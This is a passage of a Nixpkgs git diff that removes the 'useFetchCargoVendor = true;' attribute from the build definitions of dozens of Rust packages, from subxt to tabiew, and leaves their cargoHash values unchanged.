index 7383d2c9e095..e78e3dcb40f9 100644
--- a/pkgs/by-name/su/subxt/package.nix
+++ b/pkgs/by-name/su/subxt/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-wp6gxIpo5MyODB/Gf6oh62iK/VmwjVaJkuysrytHKf4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1jat45mCpivEnKCp/9BfsW4ZXi0HF9PeAvK5gw5+enw=";
 
   # Only build the command line client
diff --git a/pkgs/by-name/su/suckit/package.nix b/pkgs/by-name/su/suckit/package.nix
index af8db72d3c13..0216443fece3 100644
--- a/pkgs/by-name/su/suckit/package.nix
+++ b/pkgs/by-name/su/suckit/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-M4/vD1sVny7hAf4h56Z2xy7yuCqH/H3qHYod6haZOs0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-20Fz98mAkmhk7g0359S7Gjg6i89cXtKuS/9bVzOagBs=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/su/sudachi-rs/package.nix b/pkgs/by-name/su/sudachi-rs/package.nix
index 6c6f6c6f3b4f..baf5d30effe6 100644
--- a/pkgs/by-name/su/sudachi-rs/package.nix
+++ b/pkgs/by-name/su/sudachi-rs/package.nix
@@ -29,7 +29,6 @@ rustPlatform.buildRustPackage rec {
     ./update-outdated-lockfile.patch
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-lUP/9s4W0JehxeCjMmq6G22KMGdDNnq1YlobeLQn2AE=";
 
   # prepare the resources before the build so that the binary can find sudachidict
diff --git a/pkgs/by-name/su/sudo-rs/package.nix b/pkgs/by-name/su/sudo-rs/package.nix
index a67c94ae171e..74851507656b 100644
--- a/pkgs/by-name/su/sudo-rs/package.nix
+++ b/pkgs/by-name/su/sudo-rs/package.nix
@@ -21,8 +21,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-82qd9lVwxI9Md7NWpfauGWKtvR1MvX9VNZ9e1RvzmP4=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-hvXVdPs2K1FPi06NZSockNXA9QOnXOsrONiMCTiIs2I=";
 
   nativeBuildInputs = [ installShellFiles ];
diff --git a/pkgs/by-name/su/supergfxctl/package.nix b/pkgs/by-name/su/supergfxctl/package.nix
index d0421bd1d902..31222cc75be2 100644
--- a/pkgs/by-name/su/supergfxctl/package.nix
+++ b/pkgs/by-name/su/supergfxctl/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-d3jN4i4oHRFDgr5f6y42gahrCfXBPB61T72x6IeiskM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-BM/fcXWyEWjAkqOdj2MItOzKknNUe9HMns30H1n5/xo=";
 
   postPatch = ''
diff --git a/pkgs/by-name/su/surface-control/package.nix b/pkgs/by-name/su/surface-control/package.nix
index 3434c126d5a1..0acda55aacd7 100644
--- a/pkgs/by-name/su/surface-control/package.nix
+++ b/pkgs/by-name/su/surface-control/package.nix
@@ -19,8 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-3XTG63zjCZVuTCPvDCpl5ZNPf57r6dctEfgTu0hkznM=";
   };
 
-  useFetchCargoVendor = true;
-
   cargoHash = "sha256-YE20/3emZ6pveEeRgVXVrNvykpEs+wvnHSsrMLEZTdk=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/su/surfer/package.nix b/pkgs/by-name/su/surfer/package.nix
index bf145ff65ea4..67e0a382bd4c 100644
--- a/pkgs/by-name/su/surfer/package.nix
+++ b/pkgs/by-name/su/surfer/package.nix
@@ -48,7 +48,6 @@ rustPlatform.buildRustPackage rec {
     libXi
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-89pkHS0YQ77PmQfT8epdu2tPRNAenYGgtoiJVuuVYiI=";
 
   # Avoid the network attempt from skia. See: https://github.com/cargo2nix/cargo2nix/issues/318
diff --git a/pkgs/by-name/su/surrealdb-migrations/package.nix b/pkgs/by-name/su/surrealdb-migrations/package.nix
index fe2fa0b647e9..2e02ad48d296 100644
--- a/pkgs/by-name/su/surrealdb-migrations/package.nix
+++ b/pkgs/by-name/su/surrealdb-migrations/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-PLCnfkjmmp7Xx6sF9u15X52JB3x8135xjBr8yYkqYhQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-x0S9hHvHlQNelX2QR/4ApwZxgdzjGWnyDxNUrQvyTH0=";
 
   # Error: No such file or directory (os error 2)
diff --git a/pkgs/by-name/su/surrealdb/package.nix b/pkgs/by-name/su/surrealdb/package.nix
index 4a3a3c38b991..f2c7373977a6 100644
--- a/pkgs/by-name/su/surrealdb/package.nix
+++ b/pkgs/by-name/su/surrealdb/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-D7eujFJiFHmWlEoVkMkUSIdJt5fx+jTTqDwZs0JJw4o=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-dXLJKwwNIv4QcbROJyWB9oGBqh6bztz37tXMzc5jYUM=";
 
   # error: linker `aarch64-linux-gnu-gcc` not found
diff --git a/pkgs/by-name/sv/svd2rust/package.nix b/pkgs/by-name/sv/svd2rust/package.nix
index 62d524001654..fd128e9361f3 100644
--- a/pkgs/by-name/sv/svd2rust/package.nix
+++ b/pkgs/by-name/sv/svd2rust/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-+wVcUpSlJsd6GAZgBor7eAu6IYnlfJwzZDYKqUKpa9M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rZusngSIwdDfNe7tIA2WtIzzje6UBxyz/hfeRLqJHUY=";
 
   # error: linker `aarch64-linux-gnu-gcc` not found
diff --git a/pkgs/by-name/sv/svdtools/package.nix b/pkgs/by-name/sv/svdtools/package.nix
index 86f0059cca56..2067a26f03a5 100644
--- a/pkgs/by-name/sv/svdtools/package.nix
+++ b/pkgs/by-name/sv/svdtools/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-AfRFtybGEpArLGKp4AkGlokfNFMK8Ez5VA5Fu5GUhRI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0GR9pbrevb0USu8de1oFHePJH1hGTvcVh3Gc9WKP0uA=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sv/svg2pdf/package.nix b/pkgs/by-name/sv/svg2pdf/package.nix
index dde8c61fb1a0..f70e0192d7b1 100644
--- a/pkgs/by-name/sv/svg2pdf/package.nix
+++ b/pkgs/by-name/sv/svg2pdf/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-A3lUX2q5D1Z5Q3sZOl2uvaOLTuLRdtJyR9tmfPkE7TI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Fr4UC12WpJiIkLKcxk9D7AdBD+VSyS4NQVfqn/p6NqM=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/sv/svgbob/package.nix b/pkgs/by-name/sv/svgbob/package.nix
index 816367c1afad..67804330f3ad 100644
--- a/pkgs/by-name/sv/svgbob/package.nix
+++ b/pkgs/by-name/sv/svgbob/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-mPF6GcsXl/Bcri9d8SS21+/sjssT4//ktwC620NrEUg=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ObUAN+1ZHqYjWLZe/HGwTOgGbOVCdqY27kZ2zTj0Mu0=";
 
   postInstall = ''
diff --git a/pkgs/by-name/sv/svgcleaner/package.nix b/pkgs/by-name/sv/svgcleaner/package.nix
index f7dc049c2f76..2cb0a2c60345 100644
--- a/pkgs/by-name/sv/svgcleaner/package.nix
+++ b/pkgs/by-name/sv/svgcleaner/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-pRDRRVb8Lyna8X/PEjS9tS5dbG4g7vyMCU5AqPlpxec=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-5HRhKW1VbecUdc+iad3hOKsR82JI2Pgtio3z/8pqZIg=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sv/svix-server/package.nix b/pkgs/by-name/sv/svix-server/package.nix
index a7f80c85ee05..3dc5b372d438 100644
--- a/pkgs/by-name/sv/svix-server/package.nix
+++ b/pkgs/by-name/sv/svix-server/package.nix
@@ -21,7 +21,6 @@ rustPlatform.buildRustPackage rec {
 
   sourceRoot = "${src.name}/server";
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-vpPWEYVKEboubbWeuxyXz/M53Ura8gSpuneH/L7Qtmw=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sv/svlint/package.nix b/pkgs/by-name/sv/svlint/package.nix
index 9c680b572fe4..8d242c247eb3 100644
--- a/pkgs/by-name/sv/svlint/package.nix
+++ b/pkgs/by-name/sv/svlint/package.nix
@@ -13,7 +13,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-u61gmkO7eij7r1A1RPk0ro+pml7ZmMsg0ukJLCFNaD0=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0vL9fdZqxGleEPTXq+/R+1GzqD91ZTgwt2C8sx0kUbM=";
 
   cargoBuildFlags = [
diff --git a/pkgs/by-name/sv/svls/package.nix b/pkgs/by-name/sv/svls/package.nix
index fa9bbdf1dfa5..625d41b7ff21 100644
--- a/pkgs/by-name/sv/svls/package.nix
+++ b/pkgs/by-name/sv/svls/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-DuwH0qie8SctvOGntljOdTRMGKrNFPycdaFG3QZxihA=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-L+MTU92SUohhQ5Oy2ziU/1f4IxFcrW2JGUSx7iPxl/I=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sw/swapview/package.nix b/pkgs/by-name/sw/swapview/package.nix
index 4ac7596d223a..1295d415d43d 100644
--- a/pkgs/by-name/sw/swapview/package.nix
+++ b/pkgs/by-name/sw/swapview/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-H5jMdmtZoN9nQfjXFQyYbuvPY58jmEP2j/XWGdBocFo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-kLWd8dg63oA4sPMPPkRn+HsU+v+gQAiniBWI0i7JszM=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sw/sway-easyfocus/package.nix b/pkgs/by-name/sw/sway-easyfocus/package.nix
index dfc68a83f757..4576ba7c3683 100644
--- a/pkgs/by-name/sw/sway-easyfocus/package.nix
+++ b/pkgs/by-name/sw/sway-easyfocus/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-ogqstgJqUczn0LDwpOAppC1J/Cs0IEOAXjNAnbiKn6M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-VxcMHh1eIiHugpTFpclwuO0joY95bPz6hVIBHQwB6ZA=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sw/sway-new-workspace/package.nix b/pkgs/by-name/sw/sway-new-workspace/package.nix
index b998818dd39d..3c5887d40fa8 100644
--- a/pkgs/by-name/sw/sway-new-workspace/package.nix
+++ b/pkgs/by-name/sw/sway-new-workspace/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-CoSfpsaGqNNR5jdAQys3nQxshI0NXXr8MacUnSTKFNo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Gxqg0FqIU7e1oZ1inCe/xN3IXyQkMAt3yfbAfhfxy1o=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sw/sway-overfocus/package.nix b/pkgs/by-name/sw/sway-overfocus/package.nix
index 9789e8f7afb2..2f3f37f25497 100644
--- a/pkgs/by-name/sw/sway-overfocus/package.nix
+++ b/pkgs/by-name/sw/sway-overfocus/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-trpjKA0TV8InSfViIXKnMDeZeFXZfavpiU7/R3JDQkQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-RtiXcUvId+bf8t74Ld2JXQGx+o094Qo3O5kt+ldm1Ag=";
 
   # Crate without tests.
diff --git a/pkgs/by-name/sw/sway-scratch/package.nix b/pkgs/by-name/sw/sway-scratch/package.nix
index 4a6b914ecfca..cedbcc7bacbf 100644
--- a/pkgs/by-name/sw/sway-scratch/package.nix
+++ b/pkgs/by-name/sw/sway-scratch/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1N/33XtkEWamgQYNDyZgSSaaGD+2HtbseEpQgrAz3CU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ba0d7rbGwK3KNxd6pdoqqCwfHrs/Lt7hl0APkGT+0gw=";
 
   passthru.updateScript = nix-update-script { };
diff --git a/pkgs/by-name/sw/swaycons/package.nix b/pkgs/by-name/sw/swaycons/package.nix
index 0809525f63da..5dd91afd845c 100644
--- a/pkgs/by-name/sw/swaycons/package.nix
+++ b/pkgs/by-name/sw/swaycons/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-vyZcfBH2mry8Yd41QPX4+yLv0nS9J1yrgg7lpslJs7M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-LE+YEFmkB4EBQcuxbExN9Td5LWpI4AZgyVHXdTyq7gU=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sw/swayest-workstyle/package.nix b/pkgs/by-name/sw/swayest-workstyle/package.nix
index 0d933df7259e..0ad4d3c4a862 100644
--- a/pkgs/by-name/sw/swayest-workstyle/package.nix
+++ b/pkgs/by-name/sw/swayest-workstyle/package.nix
@@ -17,7 +17,6 @@ in
 rustPlatform.buildRustPackage {
   inherit pname version src;
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Txyj2o4Ew8VPKV/UCNiLhosgm5kuSl+na2l4H3yl/Yc=";
 
   # No tests
diff --git a/pkgs/by-name/sw/swayr/package.nix b/pkgs/by-name/sw/swayr/package.nix
index f2074246ceb2..3efe0615ba3c 100644
--- a/pkgs/by-name/sw/swayr/package.nix
+++ b/pkgs/by-name/sw/swayr/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-4oGxjtrMiseKU/D9mVnehQSmXl0Cusm+D8dg4KJ3mOQ=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-1rvS0NZDcX1OKDZkWq3AyM2i9heOReA+OOOFVvNuTjw=";
 
   patches = [
diff --git a/pkgs/by-name/sw/swayrbar/package.nix b/pkgs/by-name/sw/swayrbar/package.nix
index 7be7731ecd64..a3b3f3479e5e 100644
--- a/pkgs/by-name/sw/swayrbar/package.nix
+++ b/pkgs/by-name/sw/swayrbar/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-qfk4yqJkqTiFKFZXCVPPZM0g0/+A8d8fDeat9ZsfokI=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rByw6l/4CATEIDS5h1owGCr1x8Qt4+lzabLwni7PYMc=";
 
   # don't build swayr
diff --git a/pkgs/by-name/sw/swaysome/package.nix b/pkgs/by-name/sw/swaysome/package.nix
index 33fa759e49c4..d8217c436bdf 100644
--- a/pkgs/by-name/sw/swaysome/package.nix
+++ b/pkgs/by-name/sw/swaysome/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-2Q88/XgPN+byEo3e1yvwcwSQxPgPTtgy/rNc/Yduo3U=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-/TW1rPg/1t3n4XPBOEhgr1hd5PJMLwghLvQGBbZPZ34=";
 
   meta = with lib; {
diff --git a/pkgs/by-name/sw/swayws/package.nix b/pkgs/by-name/sw/swayws/package.nix
index ce2ef2e9d7d9..28726d8e6733 100644
--- a/pkgs/by-name/sw/swayws/package.nix
+++ b/pkgs/by-name/sw/swayws/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-ILS7r1gL6fXeX58CJ+gHvQ5Cst7PbK4yNw2Dh5l9IEc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-AS1vEnNLDLsNaIZ6pLrsQpQy9+bSoCn5oyj8SXjJ+OE=";
 
   # swayws does not have any tests
diff --git a/pkgs/by-name/sw/swaywsr/package.nix b/pkgs/by-name/sw/swaywsr/package.nix
index 3fddf12d35fc..00b5eb5ae552 100644
--- a/pkgs/by-name/sw/swaywsr/package.nix
+++ b/pkgs/by-name/sw/swaywsr/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-6hGEcJz+zGfwz1q+XKQYfyJJK7lr+kCgk2/uiq1xP0M=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-u+aMwj+IxFY+fSAECkKr8dSPVw2q+FXZpgwwexu7BFU=";
 
   nativeBuildInputs = [ python3 ];
diff --git a/pkgs/by-name/sw/swc/package.nix b/pkgs/by-name/sw/swc/package.nix
index 3c23293878dc..7ec7eb254c3a 100644
--- a/pkgs/by-name/sw/swc/package.nix
+++ b/pkgs/by-name/sw/swc/package.nix
@@ -14,7 +14,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-th+VLeKdTqyAjyRer0GeGLprBX0XhYTd9F7kwBDrzLo=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-mIFZ9F0XS16OGSQlzu7H2wQZN4YUEKJlK+KHmkrc12w=";
 
   # swc depends on nightly features
diff --git a/pkgs/by-name/sw/swim/package.nix b/pkgs/by-name/sw/swim/package.nix
index 448d972eaa9d..353065cc663c 100644
--- a/pkgs/by-name/sw/swim/package.nix
+++ b/pkgs/by-name/sw/swim/package.nix
@@ -19,7 +19,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-0H45kOIwFMdp+eIQJNutLUC/jEpWKsPfEZXDUOUa12g=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-fF+43tZzr6lxVovMCIaDwf9JKweqiMMR+BNojIqQREY=";
 
   preConfigure = ''
diff --git a/pkgs/by-name/sw/swww/package.nix b/pkgs/by-name/sw/swww/package.nix
index ca08abbd81d7..483c2c564d1e 100644
--- a/pkgs/by-name/sw/swww/package.nix
+++ b/pkgs/by-name/sw/swww/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     hash = "sha256-ldy9HhIsWdtTdvtRLV3qDT80oX646BI4Q+YX5wJXbsc=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-K1ww0bOD747EDtqYkA0Dlu7cwbjYcPwSXPSqQDbTwZo=";
 
   buildInputs = [
diff --git a/pkgs/by-name/sy/symbolicator/package.nix b/pkgs/by-name/sy/symbolicator/package.nix
index be724331796c..24de3818cc13 100644
--- a/pkgs/by-name/sy/symbolicator/package.nix
+++ b/pkgs/by-name/sy/symbolicator/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage rec {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Q148QzBHNOty/icF8oarEOD3p8cjSMA/IdjJaE9ncn8=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sy/synapse-bt/package.nix b/pkgs/by-name/sy/synapse-bt/package.nix
index e99d00a8064e..d64e37341278 100644
--- a/pkgs/by-name/sy/synapse-bt/package.nix
+++ b/pkgs/by-name/sy/synapse-bt/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage {
     hash = "sha256-2irXNgEK9BjRuNu3DUMElmf2vIpGzwoFneAEe97GRh4=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-ebqUH01h4B3Aq3apSKpae8ncaFirbrZiDxjiQM9kzg4=";
 
   nativeBuildInputs = [ pkg-config ];
diff --git a/pkgs/by-name/sy/syncstorage-rs/package.nix b/pkgs/by-name/sy/syncstorage-rs/package.nix
index 831302242d49..c085173833cc 100644
--- a/pkgs/by-name/sy/syncstorage-rs/package.nix
+++ b/pkgs/by-name/sy/syncstorage-rs/package.nix
@@ -47,7 +47,6 @@ rustPlatform.buildRustPackage rec {
       --prefix PATH : ${lib.makeBinPath [ pyFxADeps ]}
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-POm9JMv6sPIl00HzKoVJPUdvRcmBpsB/fbG/JmjePPM=";
 
   # almost all tests need a DB to test against
diff --git a/pkgs/by-name/sy/syndicate-server/package.nix b/pkgs/by-name/sy/syndicate-server/package.nix
index 480de7622fed..3152e8daee5c 100644
--- a/pkgs/by-name/sy/syndicate-server/package.nix
+++ b/pkgs/by-name/sy/syndicate-server/package.nix
@@ -17,7 +17,7 @@ rustPlatform.buildRustPackage rec {
     rev = "${pname}-v${version}";
     hash = "sha256-orQN83DE+ZNgdx2PVcYrte/rVDFFtuQuRDKzeumpsLo=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-lR36UAMedPdfvX613adxxRzJe+Ri09hiZYanyu7xbLU=";
   nativeBuildInputs = [
     pkg-config
diff --git a/pkgs/by-name/sy/synth/package.nix b/pkgs/by-name/sy/synth/package.nix
index b6f061f4647e..5fcdef7149d5 100644
--- a/pkgs/by-name/sy/synth/package.nix
+++ b/pkgs/by-name/sy/synth/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "sha256-/z2VEfeCCuffxlMh4WOpYkMSAgmh+sbx3ajcD5d4DdE=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-sJSU85f4bLh89qo8fojWJNfJ9t7i/Hlg5pnLcxcwKt4=";
 
   checkFlags = [
diff --git a/pkgs/by-name/sy/system-syzygy/package.nix b/pkgs/by-name/sy/system-syzygy/package.nix
index 7636ccf7ab82..4a3469319075 100644
--- a/pkgs/by-name/sy/system-syzygy/package.nix
+++ b/pkgs/by-name/sy/system-syzygy/package.nix
@@ -31,7 +31,6 @@ rustPlatform.buildRustPackage rec {
   nativeBuildInputs = [ makeWrapper ];
   buildInputs = [ SDL2 ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-H/iG6vsmtpBGYBBqNQG5EpyZaUtfXfVaHv4fkxwqrD0=";
 
   postInstall = ''
diff --git a/pkgs/by-name/sy/system76-firmware/package.nix b/pkgs/by-name/sy/system76-firmware/package.nix
index 9e3e8fe0251d..dafb767df821 100644
--- a/pkgs/by-name/sy/system76-firmware/package.nix
+++ b/pkgs/by-name/sy/system76-firmware/package.nix
@@ -34,7 +34,6 @@ rustPlatform.buildRustPackage rec {
 
   cargoBuildFlags = [ "--workspace" ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-YgDWaxrEfG1xxZOqa7tk2NaPVfMIqoMNZdjejkY6Jow=";
 
   # Purposefully don't install systemd unit file, that's for NixOS
diff --git a/pkgs/by-name/sy/system76-keyboard-configurator/package.nix b/pkgs/by-name/sy/system76-keyboard-configurator/package.nix
index 69574c66581f..90544b3159f6 100644
--- a/pkgs/by-name/sy/system76-keyboard-configurator/package.nix
+++ b/pkgs/by-name/sy/system76-keyboard-configurator/package.nix
@@ -39,7 +39,6 @@ rustPlatform.buildRustPackage rec {
     udev
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0UmEWQz+8fKx8Z1slVuVZeiWN9JKjEKINgXzZ6a4jkE=";
 
   postInstall = ''
diff --git a/pkgs/by-name/sy/system76-power/package.nix b/pkgs/by-name/sy/system76-power/package.nix
index 02136a19fa32..9d4fa9966fc2 100644
--- a/pkgs/by-name/sy/system76-power/package.nix
+++ b/pkgs/by-name/sy/system76-power/package.nix
@@ -24,7 +24,6 @@ rustPlatform.buildRustPackage (finalAttrs: {
     libusb1
   ];
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-Q/6OFNbqvRDTCT1MyJ3gqd4BTXXRouvnKSM3cm1jQ1g=";
 
   postInstall = ''
diff --git a/pkgs/by-name/sy/system76-scheduler/package.nix b/pkgs/by-name/sy/system76-scheduler/package.nix
index f45d3836b7fd..e7c438c82b6d 100644
--- a/pkgs/by-name/sy/system76-scheduler/package.nix
+++ b/pkgs/by-name/sy/system76-scheduler/package.nix
@@ -20,7 +20,7 @@ rustPlatform.buildRustPackage {
     rev = version;
     hash = "sha256-5GiHmu++YRCewDHm/qxKmQwDIAZwlW5Eya/fDriVSdA=";
   };
-  useFetchCargoVendor = true;
+
   cargoHash = "sha256-o2Ma9WNmBz+18SSMBPXYK4BXzHFLQwa3JWhq4S7jSBg=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/sy/systemctl-tui/package.nix b/pkgs/by-name/sy/systemctl-tui/package.nix
index c5cd706bcefb..997429a47dde 100644
--- a/pkgs/by-name/sy/systemctl-tui/package.nix
+++ b/pkgs/by-name/sy/systemctl-tui/package.nix
@@ -17,7 +17,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-1KYaw4q1+dPHImjjCnUPXNu7ihdEfNuzQfHfPi1uDOw=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-rOmoV8sHeoM2ypDlBbiLDIYHhFQZJ6T2D5VkSNW+uuc=";
 
   nativeInstallCheckInputs = [
diff --git a/pkgs/by-name/sy/systemfd/package.nix b/pkgs/by-name/sy/systemfd/package.nix
index a96eaaf35b87..315b3611262f 100644
--- a/pkgs/by-name/sy/systemfd/package.nix
+++ b/pkgs/by-name/sy/systemfd/package.nix
@@ -20,7 +20,6 @@ rustPlatform.buildRustPackage {
     sha256 = "sha256-OUsQBHymoiLClRS45KE4zsyOh/Df8psP0t8aIkKNZsM=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-89yFfyByKistkzrvBqwH0FNGgnjKtvDpvDVsiWkWeKM=";
 
   meta = {
diff --git a/pkgs/by-name/sy/systeroid/package.nix b/pkgs/by-name/sy/systeroid/package.nix
index 7dea30db2189..bfff55f4d2aa 100644
--- a/pkgs/by-name/sy/systeroid/package.nix
+++ b/pkgs/by-name/sy/systeroid/package.nix
@@ -22,7 +22,6 @@ rustPlatform.buildRustPackage rec {
       --replace '"/usr/share/doc/kernel-doc-*/Documentation/*",' '"${linux-doc}/share/doc/linux-doc/*",'
   '';
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-KopbqiQKHzz40SYJXexIAUCoF7224JtmQ0jkhFSTr4c=";
 
   buildInputs = [
diff --git a/pkgs/by-name/sz/szyszka/package.nix b/pkgs/by-name/sz/szyszka/package.nix
index 17a9a6b342ee..1674a70f5e85 100644
--- a/pkgs/by-name/sz/szyszka/package.nix
+++ b/pkgs/by-name/sz/szyszka/package.nix
@@ -23,7 +23,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-LkXGKDFKaY+mg53ZEO4h2br/4eRle/QbSQJTVEMpAoY=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-0VlhBd1GpmynNflssizg+Y9D8Hr40rT7OzOSP4AmhxY=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/t-/t-rex/package.nix b/pkgs/by-name/t-/t-rex/package.nix
index 997d56ada495..aa35efbee34c 100644
--- a/pkgs/by-name/t-/t-rex/package.nix
+++ b/pkgs/by-name/t-/t-rex/package.nix
@@ -18,7 +18,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-oZZrR86/acoyMX3vC1JGrpc8G+DEuplqfEAnaP+TBGU=";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-z0YpX1dMWcn2N6fKDbT7lYEQC5PaDNNHi4CW88d/dgI=";
 
   nativeBuildInputs = [
diff --git a/pkgs/by-name/ta/tab-rs/package.nix b/pkgs/by-name/ta/tab-rs/package.nix
index 3469d56bc7e1..25504e6b0232 100644
--- a/pkgs/by-name/ta/tab-rs/package.nix
+++ b/pkgs/by-name/ta/tab-rs/package.nix
@@ -16,7 +16,6 @@ rustPlatform.buildRustPackage rec {
     sha256 = "1crj0caimin667f9kz34c0sm77892dmqaf1kxryqakqm75az5wfr";
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-4bscAhYE3JNk4ikTH+Sw2kGDDsBWcCZZ88weg9USjC0=";
 
   # many tests are failing
diff --git a/pkgs/by-name/ta/tabby/package.nix b/pkgs/by-name/ta/tabby/package.nix
index a2ecc15482fa..e3a816141d29 100644
--- a/pkgs/by-name/ta/tabby/package.nix
+++ b/pkgs/by-name/ta/tabby/package.nix
@@ -126,7 +126,6 @@ rustPlatform.buildRustPackage {
     fetchSubmodules = true;
   };
 
-  useFetchCargoVendor = true;
   cargoHash = "sha256-einG593Brv59j1F5sebUATFnfER/PmXwQJpF3VLPKjg=";
 
   # Don't need to build llama-cpp-server (included in default build)
diff --git a/pkgs/by-name/ta/tabiew/package.nix b/pkgs/by-name/ta/tabiew/package.nix
index d34cdfa877a1..692003c91ac3 100644
--- a/pkgs/by-name/ta/tabiew/package.nix
+++ b/pkgs/by-name/ta/tabiew/package.nix
@@ -15,7 +15,6 @@ rustPlatform.buildRustPackage rec {
     hash = "sha256-5zeYqSWM/EbwjX7nHqMhERivk0gVra0QntYNh1dIp5Y=";
   };
 
-  useFetchCargoVendor = true;
